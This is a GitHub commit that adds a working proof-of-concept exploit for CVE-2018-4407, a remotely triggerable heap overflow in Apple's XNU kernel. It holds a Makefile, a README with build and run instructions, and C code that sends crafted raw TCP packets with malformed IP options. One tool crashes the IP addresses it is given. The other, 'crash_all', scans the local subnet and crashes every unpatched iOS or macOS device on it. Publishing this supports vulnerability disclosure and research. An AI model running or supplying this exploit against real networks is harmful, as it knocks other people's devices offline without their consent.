Skip to content

Commit 20174b2

Browse files
Exploit PoC for buffer overflow in icmp_error (CVE-2018-4407).
1 parent 4b6a3b8 commit 20174b2

9 files changed

Lines changed: 485 additions & 0 deletions

File tree

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,3 @@
1+
*.o
2+
crash_all
3+
direct_attack
Lines changed: 22 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,22 @@
1+
all: direct_attack crash_all
2+
3+
direct_attack: direct_attack.o send_packet.o utils.o
4+
gcc -O2 -Wall direct_attack.o send_packet.o utils.o -o direct_attack
5+
6+
crash_all: crash_all.o utils.o
7+
gcc -O2 -Wall crash_all.o send_packet.o utils.o -o crash_all
8+
9+
direct_attack.o: direct_attack.c send_packet.h utils.h
10+
gcc -O2 -Wall -c direct_attack.c
11+
12+
crash_all.o: crash_all.c send_packet.h utils.h
13+
gcc -O2 -Wall -c crash_all.c
14+
15+
send_packet.o: send_packet.c send_packet.h utils.h
16+
gcc -O2 -Wall -c send_packet.c
17+
18+
utils.o: utils.c utils.h
19+
gcc -O2 -Wall -c utils.c
20+
21+
clean:
22+
rm -f *~ *.o direct_attack crash_all
Lines changed: 35 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,35 @@
1+
## Heap buffer overflow in icmp_error (CVE-2018-4407)
2+
3+
Proof-of-concept exploit for a remotely triggerable heap buffer overflow vulnerability in iOS 11.4.1 and macOS 10.13.6. This exploit can be used to crash any vulnerable iOS or macOS device that is connected to the same network as the attacker's computer. The exploit involves sending a TCP packet with non-default options in the IP and TCP headers. Some routers refuse to deliver such packets, so the exploit might not work on some networks. In particular, most internet routers seem to drop such packets. However, it worked on every home and office network that I have tested it on.
4+
5+
For more information about the vulnerability, see the [blog post on lgtm.com](https://lgtm.com/blog/apple_xnu_icmp_error_CVE-2018-4407).
6+
7+
The buffer overflow is in this code [bsd/netinet/ip_icmp.c:339](https://github.com/apple/darwin-xnu/blob/0a798f6738bc1db01281fc08ae024145e84df927/bsd/netinet/ip_icmp.c#L339):
8+
9+
```c
10+
m_copydata(n, 0, icmplen, (caddr_t)&icp->icmp_ip);
11+
```
12+
13+
The exploit sets `icmplen == 120`, which is far too big for the destination buffer. The buffer is overwritten with garbage, so this causes the kernel to crash.
14+
15+
## Usage
16+
17+
The exploit code is designed to be built and run on Linux. To build:
18+
19+
```bash
20+
make
21+
```
22+
23+
This builds two versions of the PoC: `direct_attack` and `crash_all`. The former requires you to supply the IP addresses of the target machines, like this:
24+
25+
```bash
26+
sudo ./direct_attack 192.168.0.8 192.168.0.12
27+
```
28+
29+
The latter does not require you to list the IP addresses:
30+
31+
```bash
32+
sudo ./crash_all
33+
```
34+
35+
Use `crash_all` with care: it will crash any unpatched Apple device that is connected to the same network as you.
Lines changed: 64 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,64 @@
1+
#include <ifaddrs.h>
2+
#include "send_packet.h"
3+
4+
// Find all the network interfaces that we are attached to and send
5+
// out malicious packets to similar IP addresses. For example, if
6+
// one of our IP addresses is 192.168.0.13, then we will send malicious
7+
// packets to all addresses in the range 192.168.0.1-255.
8+
int main(int argc, char *argv[])
9+
{
10+
struct ifaddrs *ifaddr;
11+
12+
// Create a raw socket for sending the malicious packets.
13+
const int sock = create_raw_socket();
14+
if (sock < 0) {
15+
printf("Failed to create socket. Try running with sudo.\n");
16+
return 1;
17+
}
18+
19+
// Get the network interfaces that we are attached to.
20+
if (getifaddrs(&ifaddr) < 0) {
21+
printf("getifaddrs failed");
22+
return 1;
23+
}
24+
25+
// Loop over the network interfaces.
26+
struct ifaddrs *ifa;
27+
for (ifa = ifaddr; ifa != NULL; ifa = ifa->ifa_next) {
28+
if (ifa->ifa_addr == NULL)
29+
continue;
30+
31+
if (ifa->ifa_addr->sa_family == AF_INET) {
32+
struct sockaddr_in *addr = (struct sockaddr_in *)ifa->ifa_addr;
33+
printf("%s: %s\n", ifa->ifa_name, inet_ntoa(addr->sin_addr));
34+
35+
// Send out malicious packets to 253 similar IP addresses, by
36+
// cycling through the final byte of the address. We skip values
37+
// 0, 1, and 255 because they are not valid.
38+
const uint16_t dst_port = ntohs(22);
39+
const uint16_t src_port = ntohs(1234);
40+
const uint32_t src = ntohl(addr->sin_addr.s_addr);
41+
const uint32_t dst = src & 0xFFFFFF00;
42+
size_t i;
43+
for (i = 2; i < 255; i++) {
44+
const int r0 = send_packet(
45+
sock, htonl(src), src_port, htonl(dst | i), dst_port, 0, 0, 1, 0
46+
);
47+
if (r0 < 0) {
48+
printf("send failed %s %ld\n", ifa->ifa_name, i);
49+
break;
50+
}
51+
}
52+
}
53+
}
54+
55+
freeifaddrs(ifaddr);
56+
57+
const int r1 = close(sock);
58+
if (r1 < 0) {
59+
printf("could not close socket.\n");
60+
return -1;
61+
}
62+
63+
return 0;
64+
}
Lines changed: 45 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,45 @@
1+
#include "send_packet.h"
2+
3+
int main(int argc, char* argv[])
4+
{
5+
if (argc <= 1) {
6+
const char* progname = "a.out"; // Default program name
7+
if (argc > 0) {
8+
progname = argv[0];
9+
}
10+
printf("Usage: sudo %s <dest ip> <dest ip> ...\n", progname);
11+
printf("Example:\n");
12+
printf(" sudo %s 192.168.0.8 192.168.0.12\n", progname);
13+
return 1;
14+
}
15+
16+
const uint32_t src = 0; // 0net_addr(argv[1]);
17+
const uint16_t dst_port = ntohs(22);
18+
const uint16_t src_port = ntohs(1234);
19+
20+
const int sock = create_raw_socket();
21+
if (sock < 0) {
22+
printf("Failed to create socket. Try running with sudo.\n");
23+
return 1;
24+
}
25+
26+
int i;
27+
for (i = 1; i < argc; i++) {
28+
const uint32_t dst = inet_addr(argv[i]);
29+
const int r0 = send_packet(sock, src, src_port, dst, dst_port, 0, 0, 1, 0);
30+
if (r0 < 0) {
31+
printf("send to %s failed\n", argv[i]);
32+
return 1;
33+
}
34+
}
35+
36+
const int r1 = close(sock);
37+
if (r1 < 0) {
38+
printf("could not close socket.\n");
39+
return -1;
40+
}
41+
42+
// Data sent successfully
43+
printf("Packets sent successfully\n");
44+
return 0;
45+
}
Lines changed: 100 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,100 @@
1+
#include "send_packet.h"
2+
3+
// Create and send a TCP packet, which triggers the following callpath:
4+
//
5+
// 1. ip_input() bsd/netinet/ip_input.c:1835
6+
// 2. call to ip_dooptions() bsd/netinet/ip_input.c:2185
7+
// 3. ip_dooptions() bsd/netinet/ip_input.c:3222
8+
// 4. goto bad bsd/netinet/ip_input.c:3250
9+
// 5. call icmp_error bsd/netinet/ip_input.c:3495
10+
// 6. icmp_error() bsd/netinet/ip_icmp.c:203
11+
// 7. call m_copydata() bsd/netinet/ip_icmp.c:339
12+
//
13+
int send_packet(
14+
const int sock,
15+
const uint32_t src, const uint16_t src_port, // In network byte order
16+
const uint32_t dst, const uint16_t dst_port, // In network byte order
17+
const uint32_t seq, const uint32_t ack_seq,
18+
const uint16_t syn, const uint16_t ack
19+
) {
20+
char packet[1024];
21+
memset(packet, 0, sizeof(packet));
22+
23+
struct iphdr* ip_hdr = (struct iphdr*)packet;
24+
const size_t ip_hdrlen = 60; // Maximum IP header size.
25+
struct tcphdr* tcp_hdr = (struct tcphdr*)(ip_hdrlen + (char*)ip_hdr);
26+
const size_t tcp_hdrlen = 60; // Maximum TCP header size.
27+
const char* payload = tcp_hdrlen + (char*)tcp_hdr;
28+
const size_t payload_len = &packet[sizeof(packet)] - payload;
29+
30+
// Fill in the IP Header
31+
memset(ip_hdr, 0, ip_hdrlen);
32+
ip_hdr->ihl = ip_hdrlen >> 2;
33+
ip_hdr->version = 4;
34+
ip_hdr->tos = 0;
35+
ip_hdr->tot_len = ip_hdrlen + tcp_hdrlen + payload_len;
36+
ip_hdr->id = htonl (54321); // Id of this packet
37+
ip_hdr->frag_off = 0;
38+
ip_hdr->ttl = 255;
39+
ip_hdr->protocol = IPPROTO_TCP;
40+
ip_hdr->check = 0; // Checksum will be computed later.
41+
ip_hdr->saddr = src;
42+
ip_hdr->daddr = dst;
43+
44+
unsigned char* ip_opt = sizeof(struct iphdr) + (unsigned char*)ip_hdr;
45+
size_t ip_optlen = ip_hdrlen - sizeof(struct iphdr);
46+
memset(ip_opt, IPOPT_NOP, ip_optlen);
47+
// This assignment makes the options invalid, which will
48+
// trigger the call to icmp_error() at bsd/netinet/ip_input.c:3495
49+
ip_opt[ip_optlen-1] = IPOPT_EOL;
50+
ip_opt[0] = IPOPT_LSRR;
51+
ip_opt[1] = 3;
52+
ip_opt[2] = 0; // Invalid: triggers "goto bad" at ip_input.c:3281
53+
54+
// TCP Header
55+
memset(tcp_hdr, 0, tcp_hdrlen);
56+
tcp_hdr->source = src_port;
57+
tcp_hdr->dest = dst_port;
58+
tcp_hdr->seq = seq;
59+
tcp_hdr->ack_seq = ack_seq;
60+
tcp_hdr->doff = tcp_hdrlen >> 2;
61+
tcp_hdr->fin = 0;
62+
tcp_hdr->syn = syn;
63+
tcp_hdr->rst = 0;
64+
tcp_hdr->psh = 0;
65+
tcp_hdr->ack = ack;
66+
tcp_hdr->urg = 0;
67+
tcp_hdr->window = htons (5840); // maximum allowed window size
68+
tcp_hdr->check = 0; // Checksum will be computed later
69+
tcp_hdr->urg_ptr = 0;
70+
71+
// Compute checksums.
72+
tcp_checksum(
73+
ip_hdr,
74+
ip_hdrlen,
75+
tcp_hdr,
76+
tcp_hdrlen,
77+
payload,
78+
payload_len
79+
);
80+
81+
// Send the packet
82+
struct sockaddr_in sin;
83+
memset(&sin, 0, sizeof(sin));
84+
sin.sin_family = AF_INET;
85+
sin.sin_port = dst_port;
86+
sin.sin_addr.s_addr = dst;
87+
88+
const int r0 =
89+
sendto(
90+
sock, packet, ip_hdr->tot_len, 0,
91+
(struct sockaddr *)&sin, sizeof(sin)
92+
);
93+
if (r0 < 0) {
94+
const int err = errno;
95+
printf("send failed %d err=%d %s\n", r0, err, strerror(err));
96+
return -1;
97+
}
98+
99+
return 0;
100+
}
Lines changed: 9 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,9 @@
1+
#include "utils.h"
2+
3+
int send_packet(
4+
const int sock,
5+
const uint32_t src, const uint16_t src_port, // In network byte order
6+
const uint32_t dst, const uint16_t dst_port, // In network byte order
7+
const uint32_t seq, const uint32_t ack_seq,
8+
const uint16_t syn, const uint16_t ack
9+
);

0 commit comments

Comments
 (0)